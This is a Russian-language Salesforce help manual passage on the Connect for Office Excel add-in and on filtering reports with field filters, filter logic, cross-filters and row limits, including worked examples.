ПОЛЬЗОВАТЕЛЯ

Для доступа к отчетам
Salesforce из приложения
Excel:
• «Запуск отчетов»

И

«Экспорт отчетов»

Когда Salesforce отключит поддержку TLS 1.0, мы завершим поддержку Connect for
Office.Connect for Office включает надстройку Excel, которая позволяет выполнять
безопасныйдоступ к отчетам Salesforceприпомощи Microsoft® Excel®. Отчеты, созданные
в системе Salesforce, могут переноситься в приложение Excel, формулы, диаграммы и
сводные таблицы которого позволяют настраивать и анализировать данные.

Важное замечание: Когда Salesforce отключает TLS 1.0, поддержка приложения
Connect for Office прекращается. Это изменение означает отсутствие гарантии того,
что приложение Connect for Office сможет установить соединение между Salesforce
и Microsoft® Word или Excel. Даже если торговым представителям удастся
подключиться, Salesforce больше не предоставляет поддержку или обслуживание
при возникновении проблем.

Надстройка Excel предоставляетдоступкотчетамиполям, аналогичныйдоступувсистеме
Salesforce. Настроенные листы Excel могут распространяться посредством вкладки
«Документы», позволяя всем пользователям отслеживать настраиваемую аналитику в
режиме реального времени. Чтобы создать краткий обзор ключевых показателей,
рекомендуем собрать данные разных отчетов на одном листе Excel.

Обмен данными между приложением Excel и системой Salesforce осуществляется по
безопасномупротоколу HTTPS, которыйиспользуетсядлявходапользователяпосредством
обозревателя.
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1. Установка приложения Connect for Office

When Salesforce disables TLS 1.0, we’re ending support for Connect for Office.

2. Вход в приложение Connect for Office

When Salesforce disables TLS 1.0, we’re ending support for Connect for Office.Преждечем запросить данныеотчетов Salesforce,
рекомендуем выполнить вход в систему Salesforce.

3. Импорт отчетов в Excel посредством приложения Connect for Office

When Salesforce disables TLS 1.0, we’re ending support for Connect for Office.Импорт стандартныхилинастраиваемыхотчетов
Salesforce в приложение Excel позволяет анализировать данные посредством формул, диаграмм и сводных таблиц
Excel.

4. Обновление данных посредством приложения Connect for Office

Когда Salesforceотключает TLS 1.0, поддержкаприложенияConnect for Officeпрекращается.Благодаряпериодическому
обновлению данных отчетов и созданных сводных таблиц, отчеты Salesforce всегда содержат самую последнюю
информацию в Excel.

Установка приложения Connect for Office

When Salesforce disables TLS 1.0, we’re ending support for Connect for Office.

Важное замечание:  When Salesforce disables TLS 1.0, we’re ending support for Connect for Office. This change means that
there’s no guarantee that Connect for Office can establish a connection between Salesforce and Microsoft® Word or Excel. Even if
sales reps can establish a connection, Salesforce no longer provides support or maintenance when there’s an issue.

Ниже перечислены требования к системе для установки приложения Connect for Office.

• Microsoft® Office 2007

• Microsoft® Windows Vista® (32-bit only) - Until Salesforce disables TLS 1.0, when Windows Vista is no longer supported.

1. Закройте все приложения Microsoft® Office, включая Word, Excel® и Outlook®.

2. Настраницеличныхпараметроввведите строку «Office» вполе «Быстрый поиск», затемвыберитепункт «Connect
for Office».

Совет: Чтобы получить доступ к странице загрузки, обратитесь к администратору.

3. Нажмите кнопку «Установить!».

4. Чтобы установить приложение Connect for Office, нажмите кнопку «Да». Рекомендуем устанавливать приложение
Connect for Office в стандартную папку, предложенную программой установки.

5. Чтобы начать использование установленного приложения Connect for Office, откройте приложение Excel или Word и
выберите меню «salesforce.com».

6. Припервомоткрытииприложения Word отображаетсязапроснавключениемакросовотSalesforce. Чтобыиспользовать
надстройку Word, рекомендуем включить макросы и выбрать Salesforce в качестве их издателя.

Прим.: Программа установки Connect for Office редактирует реестр компьютера. Если организация применяет
параметры безопасности, препятствующие редактированию реестра, рекомендуем выполнить вход от имени
системного администратора перед установкой приложения Connect for Office или обратиться за помощью к
специалистам отдела информационных технологий.

СМ. ТАКЖЕ:

Индивидуальная настройка системы Salesforce
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Вход в приложение Connect for Office

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии.

When Salesforce disables TLS 1.0, we’re ending support for Connect for Office.Прежде чем
запросить данные отчетов Salesforce, рекомендуем выполнить вход в систему Salesforce.

Важное замечание:  When Salesforce disables TLS 1.0, we’re ending support for Connect
for Office. This change means that there’s no guarantee that Connect for Office can establish
a connection between Salesforce and Microsoft® Word or Excel. Even if sales reps can establish
a connection, Salesforce no longer provides support or maintenance when there’s an issue.

1. Откройте приложение Excel.

2. При использовании пакета Microsoft Office 2003 или более ранней версии выберите
пункт «Вход» враскрывающемсяменю «Salesforce»напанелиинструментов Excel. Прииспользованиипакета Microsoft
Office 2007 откройте вкладку «salesforce.com», щелкните раскрывающееся меню «Отчеты» и выберите пункт «Вход».

3. Введите имя пользователя и пароль Salesforce.

4. Нажмите кнопку «Вход».

Прим.: Если организация использует ограниченный диапазон IP-адресов, то вход посредством непроверенных
IP-адресов возможентолькопослеих активации. Система Salesforce автоматическиотправляет сообщениеэл. почты,
содержащее ссылку для входа и маркер безопасности, который должен быть добавлен в конец пароля. Например,
при использовании пароля МойПароль и маркера безопасности XXXXXXXXXX вход может быть выполнен только
после ввода следующей строки: МойПарольXXXXXXXXXX.

Импорт отчетов в Excel посредством приложения Connect for Office

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для доступа к отчетам в
приложении Excel:
• «Запуск отчетов»

И

«Экспорт отчетов»

When Salesforce disables TLS 1.0, we’re ending support for Connect for Office.Импорт
стандартных или настраиваемых отчетов Salesforce в приложение Excel позволяет
анализировать данные посредством формул, диаграмм и сводных таблиц Excel.

Важное замечание:  When Salesforce disables TLS 1.0, we’re ending support for Connect
for Office. This change means that there’s no guarantee that Connect for Office can establish
a connection between Salesforce and Microsoft® Word or Excel. Even if sales reps can establish
a connection, Salesforce no longer provides support or maintenance when there’s an issue.

1. Создайте настраиваемый отчет в системе Salesforce. При необходимости
воспользуйтесь любым стандартным отчетом.

2. Откройте пустой лист в приложении Excel.

3. Откройтевкладкуленты «salesforce.com», щелкнитераскрывающеесяменю«Отчеты»
и выберите пункт «Импорт отчета...».

Прим.: Прииспользованиипакета Microsoft Office 2003 илиболеераннейверсии
выберите пункт «Импорт отчета...» в раскрывающемся меню «Salesforce» на
панели инструментов Excel.

4. Выберитеотчетиз спискадоступныхстандартныхинастраиваемыхотчетовSalesforce.

5. Выберите область добавления данных отчета в файле Excel.

a. Введите имя листа Excel в поле «Целевой лист».

b. Ведите адрес самой верхней нужной ячейки в поле «Ячейка».

Есливыбранныйлистиячейкисодержатданныеотчета, топриложениеConnect for Officeперезаписывает текущие
данные для добавления новых данных отчета.
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Совет: Рекомендуемизбегатьпереименованиялистов, содержащихимпортированныеотчеты. Данноедействие
разрывает связь между листом и отчетом. Данные обновляются только после повторного импорта отчета.

6. Чтобыимпортироватьданныебезформатирования, промежуточныхилиобщихитогов, выберитепараметр«Исходные
данные». Чтобысохранитьцвета, шрифты, промежуточныеиобщиеитоги, используемыевотчете Salesforce, выберите
параметр «Отформатировано».

Данный параметр предназначен для импорта больших матричных отчетов, данные которых уже резюмированы в
маленькой таблице.

Совет:

• Параметр «Исходныеданные»предназначендляимпорта сводныхилиматричныхотчетов, используемых
формулами и сводными таблицами Excel.

• Параметр «Отформатировано» предназначен для импорта больших матричных отчетов, данные которых
уже резюмированы в маленькой таблице.

7. Нажмите кнопку «OK».

Совет: Данные из таблиц Excel могут быть скопированы и вставлены в другие приложения пакета Microsoft Office.
Чтобы использовать данные Excel как объект листа, выберите параметр «Специальная вставка» вместо параметра
«Вставить». Чтобы автоматически обновить объект при последующем изменении данных в приложении Excel,
щелкните нужный объект правой кнопкой мыши. Дополнительную информацию см. в справке Microsoft Word.

Обновление данных посредством приложения Connect for Office

Когда Salesforce отключает TLS 1.0, поддержка приложения Connect for Office прекращается. Благодаря периодическому
обновлению данных отчетов и созданных сводных таблиц, отчеты Salesforce всегда содержат самую последнюю
информацию в Excel.

Важное замечание: Когда Salesforce отключает TLS 1.0, поддержка приложения Connect for Office прекращается. Это
изменение означает отсутствие гарантии того, что приложение Connect for Office сможет установить соединение
между Salesforce и Microsoft® Word или Excel. Даже если торговым представителям удастся подключиться, Salesforce
больше не предоставляет поддержку или обслуживание при возникновении проблем.

Выполните вход в систему Salesforceи выберите любойиз указанныхнижепараметров на вкладке ленты «Salesforce»или
на панели инструментов (в пакете Office 2003 или более ранней версии).

• Обновить текущие отчеты...: данный параметр позволяет выбрать отчеты для обновления в приложении Excel.

1. Выберите нужные отчеты в списке импортированных отчетов.

2. Чтобы обновить сводные таблицы, созданные в приложении Excel для выбранных отчетов, установите флажок
«Обновитьсводныетаблицы». Пунктменю«Обновитьвсеотчеты»выполняетданноедействиеавтоматически.

3. Чтобы обновить данные отчета, нажмите кнопку «Обновить выбранное».

Чтобы удалить отчеты из данного списка, выберите нужные отчеты и нажмите кнопку «Удалить выбранное».
Отчеты удаляются только из списка отчетов, доступных для обновления, но не удаляются из таблицы Excel или
системы Salesforce.

• Обновить все отчеты: данный параметр обновляет все отчеты, импортированные в файл Excel, включая
соответствующие сводные таблицы.
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Совет:

• При создании формулы рекомендуем выбрать весь столбец, а не диапазон ячеек, так как обновление данных
может инициировать изменение количества строк отчета. Например, чтобы суммировать ячейки столбца E,
воспользуйтесь формулой =Sum(Sheet2!E:E) вместо формулы =Sum(Sheet2!E1:E200).

• Функции VLOOKUP и HLOOKUP, используемые в приложении Excel для объединения данных среди разных
диапазоновячеек, могутинициироватьчувствительность 15-значныхкодовзаписейотчетакрегистру. Рекомендуем
проверитьправильностьрегистраприопределениизаписейотчета. Дополнительнуюинформациюсм. всправке
Microsoft Excel.

Обновление мастера отчетов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения параметров
отчетов и панелей
мониторинга:
• «Настройка

приложения»

Конструкторотчетов, являющийсяполнофункциональнымграфическимредактором, —
это стандартныйинструментдля созданияиредактированияотчетов. Еслиорганизация
все еще использует устаревший мастер отчетов, рекомендуем включить поддержку
конструктора отчетов.

• Доступ к конструктору отчетов по умолчанию предоставляется всем профилям.
(Полномочие «Конструктор отчетов» может отображаться в наборах полномочий
ипрофилях, а такжевAPI-объектах PermissionSet и Profile, несмотрянапереопределение
данных параметров при обновлении.)

• Устаревший мастер отчетов отображается только в режиме доступности.

• Конструкторотчетовдоступендляорганизаций, использующихверсии Group Edition
и Professional Edition.

• Наличие нового типа диаграммы — точечной.

Последняя версия конструктора отчетов автоматически доступна только новым
организациям. Еслираздел «Обновлениеконструктораотчетов» отсутствуетна странице
«Параметры интерфейса пользователя», то данное обновление уже установлено в
организации.

Конструктор отчетов не может быть включен путем назначения полномочия
«Конструктор отчетов» всем пользователям организации посредством профилей или наборов полномочий. Чтобы
включить конструктор отчетов для организации, выполните указанные ниже действия.

Важное замечание: Данное обновление не влияет на текущие отчеты. После установки обновления устаревший
мастер отчетов будет недоступен.

1. Введите строку «Отчеты» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Параметры отчетов
и панелей мониторинга».

2. Просмотрите раздел «Обновление конструктора отчетов» и нажмите кнопку «Включить». Если данная кнопка не
отображается, то конструктор отчетов уже включен во всей организации.

3. Для подтверждения нажмите кнопку «Да, установить конструктор отчетов для всех пользователей».
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Фильтрация данных отчета

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Чтобы добавить или
изменить фильтр,
выполните указанные ниже
действия.
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Чтобы заблокировать или
разблокировать фильтры, с
тем чтобы пользователи не
могли редактировать их во
время просмотра отчетов в
Lightning Experience
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Чтобы редактировать
фильтр во время просмотра
отчета в Lightning
Experience
• «Запуск отчетов»

Ввашихотчетахсодержатсяданные, которыевамненужны? Воспользуйтесьфильтрами,
чтобы сократить отчет таким образом, чтобы он отображал только нужные вам данные.

В системе Salesforce Classic произведите фильтрацию отчета в конструкторе отчетов.

В системе Lightning Experience имеется два способа фильтрации отчетов: либо в
конструкторе отчетов, либо во время просмотра отчета. Чтобы добавить или
редактироватьфильтрыотчета, используйте конструкторотчетов. Чтобыредактировать
имеющиеся незаблокированные фильтры отчетов во время чтения отчета, запустите

отчетизатемпоменяйтефильтрыпрямонапанелифильтров ( ). Выможетеизменять
имеющиеся фильтры на панели фильтров, но не можете добавлять новые.

Прим.: В системе Lightning Experience эти фильтры доступны в конструкторе
отчетов, но онине отображаются на панелифильтров во время просмотра отчета.
Тем не менее, фильтры применяются к отчету даже при условии их отсутствия на
панели фильтров.

• Фильтры ограничения строк

• Кросс-фильтры

• Фильтры архивного поля

• Стандартные фильтры (кроме фильтров областей и дат)

1. Вконструкторефильтровоткройтераскрывающеесяменю «Добавить»ивыберите
тип фильтра:

• Фильтр поля для фильтрации полей. Например, используйте фильтр поля,
чтобыфильтровать по принципу «Имя организации равно Acme».

• Логикафильтра для настройки способа применения имеющихся фильтров к
отчету. Каждомуфильтруприсвоенномер. Еслитребуетсявернутьвотчет записи,
отвечающие критериям Фильтра 1 и Фильтра 2 либо Фильтра 3, используйте
следующую логику фильтра: «Фильтр 1 И (Фильтр 2 ИЛИ Фильтр 3)»

. Логика фильтра требует как минимум один фильтр поля.

• Кросс-фильтры для фильтрации взаимосвязи одного объекта с другим.
Установите кросс-фильтр на разделе «Организации с возможностями», с тем
чтобы ваш отчет отображал только организации, имеющие возможности.
Добавьте подфильтр в кросс-фильтр для дальнейшейфильтрации по второму
объекту. Например, подфильтр возможности «Стоимость более 50 000»

приводит к отображениюв отчетах организаций, имеющих возможности более
чем на 50 000,00 долл. США.

• Ограничение строк для ограничения количества результатов в табличных
отчетах. Чтобыпосмотреть, какие пять организацийимеютнаибольший годовой доход, установите ограничение
строк «Топ 5 организаций по годовому доходу».

Стандартныефильтры, напримерфильтрыпо дате, по умолчаниюприменяются к большинству объектов. Поищите
их в нижней части раскрывающегося меню «Добавить» и настройте их по мере необходимости. Разные объекты
имеют разные стандартные фильтры.

2. Ввод критериев фильтрации.
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По вопросам ввода критериев фильтрации см. разделы «Ссылка операторов фильтрации» и «Добавление логики
фильтра».

3. При необходимости, чтобы предотвратить изменение фильтров полей другими во время чтения отчета в системе
Lightning Experience, проверьте, установлено ли «заблокировано».

4. Нажмите кнопку «Сохранить».

5. Чтобы прочесть фильтрованный отчет, нажмите «Запустить отчет». В новых отчетах кнопка «Запустить отчет» не
появится, пока отчет не будет сохранен.

Прим.: При использовании конструктора отчетов Lightning Experience рекомендуем сохранить отчет перед его
запуском во избежание потери некоторых изменений. Так, рекомендуем сохранять внесенные изменения после
добавления компонентов ниже.

• Фильтры ограничения строк

• Кросс-фильтры

• Поля формулы

• Поля области

Пример: Скажем, нужно, чтобы ваша команда приобрела новые интересы в компаниях, имеющих более 100
сотрудников и расположенных в Калифорнии, Аризоне или Неваде. У вас имеются отчеты интересов с полями
«Статус интереса», «Количество сотрудников» и «Регион». Ваш отчет дает полный обзор интересов вашей
компании. Но вы просто хотите увидеть новые интересы, у которых более 100 сотрудников и которые расположены в
Калифорнии. Применяйте эти фильтры к своему отчету:

1. «"Статус интереса" равно "Новинка"»

2. Количество сотрудников больше 100

3. Поле «Административно-территориальная единица» включает Калифорнию, Аризону и Неваду

Теперь ваши отчеты отображают только нужные вам интересы.

Справка по типам фильтров
Несколькоразличныхтиповфильтровпомогутвамустановитьобластьдействияданныхотчета: стандартныефильтры,
фильтры поля, кросс-фильтры и фильтры ограничения строк. Каждый тип фильтра осуществляет фильтрацию
различными способами. Представленный ниже список типов фильтров поможет вам выбрать надлежащий тип
фильтра для отчета.

Справочник по операторам фильтров
Оператор, используемый в фильтре, заменяет глагол, используемый в предложении. Операторы позволяют задать,
как критерии фильтрации связаны друг с другом. Изучите следующий список операторов фильтрации, которые
используются при настройке фильтров для списковых представлений, отчетов, панелей мониторинга и некоторых
настраиваемых полей.

Добавление логики фильтра
Логические параметрыфильтрации управляют тем, как и когда к вашему отчету применяются фильтры.

Примечания для фильтрации по типу полей и значениям
Учитывайте эти рекомендации при фильтрации текстовых полей, полей дат, числовых значений, значений
раскрывающегося списка, а также пустых и нулевых значений.

Советы по фильтрации мультивалюты
Данный раздел содержит советы по фильтрации полей валюты в мультивалютных организациях.
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Справка по типам фильтров
Несколько различных типовфильтров помогут вам установить область действия данных отчета: стандартныефильтры,
фильтры поля, кросс-фильтры и фильтры ограничения строк. Каждый тип фильтра осуществляет фильтрацию
различнымиспособами. Представленныйниже список типовфильтровпоможет вам выбратьнадлежащийтипфильтра
для отчета.

ОписаниеТип фильтра

Стандартныефильтрыприменяютсяпоумолчаниюкбольшинствуобъектов. Разные
объектыимеютразличныестандартныефильтры, нобольшинствообъектовсодержат

Стандартныйфильтр

стандартные фильтры «Показать» и «Поле даты». «Показать» фильтрует объект
поожидаемымгруппировкам (например, «Моиорганизации» или «Всеорганизации»).
«Поле даты» выполняет фильтрацию по полю (например, «Дата создания» или
«Последнее действие») и диапазону дат (например, «Все время» или «Последний
месяц»).

Фильтры поля доступны в отчетах, списковых представлениях, бизнес-правилах и
других компонентах приложения. Для каждого фильтра задается поле, оператор и

Фильтр поля

значение. Чтобы добавить фильтр табличного, сводного или матричного отчета,
перетащите нужное поле с панели «Поля» на панель «Фильтры».

Чтобы определить способ оценки фильтров поля, добавьте логические условия.
Прежде чем применить логику фильтра, рекомендуем добавить как минимум один
фильтр поля.

Логикафильтра

Выполнитефильтрацию отчета по дочернему объекту с помощью условия «С» или
«БЕЗ». Чтобывыполнитьдополнительнуюфильтрациюпополямдочернегообъекта,

Кросс-фильтр

добавьте субфильтры. Например, при наличии кросс-фильтра «"Организации" с
"Возможности"» щелкните «Добавитьфильтр "Возможности"» и создайте
субфильтр «"Имя возможности" равно "ACME"», чтобы просмотреть только такие
возможности.

При использовании табличных отчетов выберите максимальное количество строк
для отображения, поле для сортировки и порядок сортировки. Табличный отчет с

Ограничение строк

ограниченным количеством отображаемых строк может использоваться в качестве
исходного отчета для диаграммы или таблицы панели мониторинга.

Пример. Составление отчетов по связанным объектам с кросс-фильтрами
Кросс-фильтрыпозволяют точнонастраиватьотображаемыерезультатыпутем включенияилиисключения записей
из связанныхобъектовбез создания специальныхформулиликода. Кросс-фильтрымогутиспользоваться автономно
или в сочетании с фильтрами поля.

Пример. Использование ограничений строк в фильтрах отчета
Данный раздел содержит пример фильтра отчета, использующего фильтр поля, логику фильтра и ограничение
строк.
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Пример. Составление отчетов по связанным объектам с кросс-фильтрами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Кросс-фильтры позволяют точно настраивать отображаемые результаты путем
включения или исключения записей из связанных объектов без создания специальных
формул или кода. Кросс-фильтры могут использоваться автономно или в сочетании с
фильтрами поля.

Чтобыизменитьфильтротчета, наведитеуказательмышинанужныйфильтрищелкните
ссылку «Правка»или «Удалить». Фильтрыотображаютсяпривыполненииотчета. Для
внесения дополнительных измененийщелкните ссылку «Правка» на странице отчета.

Чтобывыполнитьдополнительнуюфильтрациюпополямдочернегообъекта, добавьте
субфильтры. Например, при наличии кросс-фильтра «"Организации" с "Возможности"»
щелкните «Добавитьфильтр "Возможности"» и создайте субфильтр «"Имя
возможности" равно "ACME"», чтобы просмотреть только такие возможности. Каждый
кросс-фильтр может содержать не более пяти субфильтров.

• Каждый отчет может содержать не более трех кросс-фильтров.

• Каждый кросс-фильтр может содержать не более пяти субфильтров.

• Логика фильтра применяется только к фильтрам поля, но не к кросс-фильтрам.

1. Создание кросс-фильтра
Кросс-фильтры позволяют добавлять или исключать записи из результатов отчета
на основе связанных объектов и их полей.

2. Пример. Использование условия «С» в кросс-фильтрах
Кросс-фильтрыпозволяютфильтроватьотчетыподочернимобъектамспомощью
условия «С». Например, чтобыпросмотретьтолькоорганизациисобращениями, воспользуйтесьусловиемфильтрации
«С».

3. Пример. Использование условия «БЕЗ» в кросс-фильтрах
Кросс-фильтрыпозволяютфильтроватьотчетыподочернимобъектамспомощьюусловия «БЕЗ». Например, чтобы
просмотреть только контакты и скрыть действия, воспользуйтесь условием фильтрации «БЕЗ».

4. Пример. Использование нескольких кросс-фильтров
Кросс-фильтрыпозволяютфильтровать отчетыподочернимобъектам спомощьюусловий «С» и «БЕЗ». Например,
чтобы просмотреть организации с обращениями, но без действий, воспользуйтесь условиямифильтрации «С» и
«БЕЗ».

5. Советы по работе с кросс-фильтрами
Кросс-фильтры аналогичны обычнымфильтрам, но отличаются некоторыми собственными характеристиками.
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Создание кросс-фильтра

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Кросс-фильтры позволяют добавлять или исключать записи из результатов отчета на
основе связанных объектов и их полей.

1. Щелкните «Добавить» > «Кросс-фильтр» на панели «Фильтры» в конструкторе
отчетов.

2. Выберите родительский объект из раскрывающегося списка. Данный выбор
определяет связанные объекты, доступные в списке дочерних объектов.

Совет: Если объект «Кампании» является основным объектом типов отчетов,
то родительский объект может использоваться в качестве дополнительного.
Например, при использовании отчета «Кампании с интересами» объект
«Кампании» или «Интересы» может быть родительским.

3. Выберите «с» или «без».

4. Выберите дочерний объект из раскрывающегося списка или выполните поиск по
имени. Раскрывающийсясписоксодержитвсе соответствующиедочерниеобъекты,
связанные с выбранным родительским объектом.

5. При необходимости добавьте субфильтры.

a. Щелкните «Добавитьфильтр "Связанный дочерний объект"».

b. Выберите поле. Доступные поля определяются дочерним объектом в
кросс-фильтре. Например, если задан кросс-фильтр «"Организации" с
"Обращения"», то поля обращения могут использоваться для субфильтра.

c. Выберите оператор фильтрации.

d. Введите нужное значение.

6. Нажмите кнопку «OK».

СМ. ТАКЖЕ:

Пример. Использование нескольких кросс-фильтров

Пример. Использование условия «С» в кросс-фильтрах

Пример. Использование условия «БЕЗ» в кросс-фильтрах
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Пример. Использование условия «С» в кросс-фильтрах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Кросс-фильтры позволяют фильтровать отчеты по дочерним объектам с помощью
условия «С». Например, чтобы просмотреть только организации с обращениями,
воспользуйтесь условием фильтрации «С».

Например, в результате проведения последней кампании в Московской области
организацияприобрелабольшоеколичествоновыхклиентов. Решенияпообращениям
данных клиентов должны быть приняты в кратчайшие сроки. Чтобы просмотреть
организации с текущими обращениями, рекомендуем создать отчет.

1. Создайте отчет. Выберите папку «Организации и контакты», затем выберите тип
отчета «Организации» и нажмите кнопку «Создать».

2. Задайте соответствующиестандартныефильтрынапанели «Фильтры» конструктора
отчетов.

3. Создайтефильтрполя «"Область/штат для счета" равно "Московская"» инажмите
кнопку «OK».

4. Нажмите кнопку «Добавить» > «Кросс-фильтр» и укажите «"Организации" с
"Обращения"».

Чтобы просмотреть только московские организации со связанными обращениями,
нажмите кнопку «Запустить отчет».

СМ. ТАКЖЕ:

Создание кросс-фильтра

Пример. Использование условия «БЕЗ» в кросс-фильтрах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Кросс-фильтры позволяют фильтровать отчеты по дочерним объектам с помощью
условия «БЕЗ». Например, чтобы просмотреть только контакты и скрыть действия,
воспользуйтесь условием фильтрации «БЕЗ».

Например, прежде чем назначить ответственных импортированным московским
организациям, пользователю необходимо определить организации без контактов.

1. Создайте отчет. Выберите папку «Организации и контакты», затем выберите тип
отчета «Организации» и нажмите кнопку «Создать».

2. Задайте соответствующиестандартныефильтрынапанели «Фильтры» конструктора
отчетов.

3. Создайтефильтрполя «"Область/штат для счета" равно "Московская"» инажмите
кнопку «OK».

4. Нажмите кнопку «Добавить» > «Кросс-фильтр» и укажите «"Организации" без
"Контакты"».

Чтобыпросмотреть толькомосковские организациибез связанных контактов, нажмите
кнопку «Запустить отчет».

СМ. ТАКЖЕ:

Создание кросс-фильтра
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Пример. Использование нескольких кросс-фильтров

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Кросс-фильтры позволяют фильтровать отчеты по дочерним объектам с помощью
условий «С» и «БЕЗ». Например, чтобы просмотреть организации с обращениями, но
без действий, воспользуйтесь условиямифильтрации «С» и «БЕЗ».

Например, торговому представителю требуется просмотреть клиентские организации
с нерешенными расширениями, которые могут быть устранены службой поддержки.

1. Создайте отчет. Выберите папку «Организации и контакты», затем выберите тип
отчета «Организации» и нажмите кнопку «Создать».

2. Задайте соответствующиестандартныефильтрынапанели «Фильтры» конструктора
отчетов.

3. Чтобыпросмотреть толькоклиентскиеорганизации, нажмитекнопку «Добавить» >
«Фильтр поля» и укажите «"Тип" равно "Клиент"».

4. Чтобы просмотреть организации без действий, нажмите кнопку «Добавить» >
«Кросс-фильтр» и укажите «"Организации" без "Действия"».

5. Чтобы просмотреть только организации без завершенных действий, добавьте
субфильтр в кросс-фильтр.

a. Щелкните «Добавитьфильтр "Действия"» и укажите «"Статус" равно
"Завершено"».

b. Нажмите кнопку «OK».

6. Чтобы добавить организации с обращениями, добавьте другой кросс-фильтр и
укажите «"Организации" с "Обращения"».

7. Чтобы исключить обращения, которые не были расширены, добавьте субфильтр в данный кросс-фильтр.

a. Щелкните «Добавитьфильтр "Обращения"» и укажите «"Тип" равно "Проблема"».

b. Щелкните «Добавитьфильтр "Обращения"» повторно и укажите «"Статус" равно "Расширено"».

c. Нажмите кнопку «OK».

Выполненный отчет будет содержать только клиентские организации без завершенных действий с расширенными
обращениями.

СМ. ТАКЖЕ:

Создание кросс-фильтра
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Советы по работе с кросс-фильтрами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Кросс-фильтры аналогичны обычнымфильтрам, но отличаются некоторыми
собственными характеристиками.

• Добавление кросс-фильтров может отрицательно сказаться на времени создания
отчета. Во избежание подобной ситуации, рекомендуем использоватьфильтры для
ограничения отображаемых данных. Например, чтобы просмотреть только
определенныевозможностиза конкретныйпромежутоквремени, выберите значение
«Мои возможности» в раскрывающемся списке «Показать» и значение «Текущий
фин. квартал» в раскрывающемся списке «Диапазон».

• Объекты, доступные в кросс-фильтрах, определяются родительским объектом
выбранного типа отчета, поэтому связанные дочерние объекты должны быть
определеныдовыбора типаотчета. Например, выберите типотчета «Организации»,
чтобы выполнить фильтрацию по критерию «"Организации" с "Партнеры"», так
как «Партнер» является дочерним объектом для объекта «Организация».

• Кросс-фильтрыиспользуютсясовместносвыбраннымтипомотчета. Кросс-фильтры
связаны с выбранным типом отчета посредством взаимосвязи «И». Следовательно,
при добавлении кросс-фильтра «"Организации" без "Партнеры"» в тип отчета
«Организации с партнерами» данные не отображаются.

СМ. ТАКЖЕ:

Пример. Использование нескольких кросс-фильтров

Создание кросс-фильтра

Пример. Использование условия «С» в кросс-фильтрах

Пример. Использование условия «БЕЗ» в кросс-фильтрах
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Пример. Использование ограничений строк в фильтрах отчета

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Данныйраздел содержитпримерфильтраотчета, использующегофильтрполя, логику
фильтра и ограничение строк.

Допустим, пользователь является менеджером по продажам, которому требуется
определить потенциально прибыльные организацииНовосибирской области.

1. Нажмите кнопку «Создать отчет» на вкладке «Отчеты».

2. Выберите папку «Организации и контакты», затем выберите тип отчета
«Организации» и нажмите кнопку «Создать».

3. ЧтобынайтиорганизацииНовосибирскойобласти, которые являютсяпубличными
илидоходкоторыхпревышает 10 миллионоврублей, нажмитекнопку «Добавить» >
«Фильтр поля» и выберите указанные ниже фильтры.

a. «"Область/штат для счета" равно "Новосибирская"»

b. «"Годовой доход" больше чем "10000000"»

c. «"Собственность" равно "Публичная"»

4. Чтобы просмотреть все организацииНовосибирской области, которые являются
публичнымиИЛИ доход которых равен 10 миллионам рублей, нажмите кнопку
«Добавить» > «Логикафильтра» и введите 1 И (2 ИЛИ 3).

5. Чтобыограничитьколичествозаписей, отображаемыхвтабличномотчете (например,
не более 10), нажмите кнопку «Добавить» > «Ограничение строк» и введите
значение «10». Выберите поле и порядок сортировки. Нажмите кнопку «OK».

Чтобыпросмотреть 10 записей, содержащихсведенияопубличныхорганизацияхНовосибирскойобласти, доходкоторых
превышает 10 миллионов рублей, нажмите кнопку «Запустить отчет».

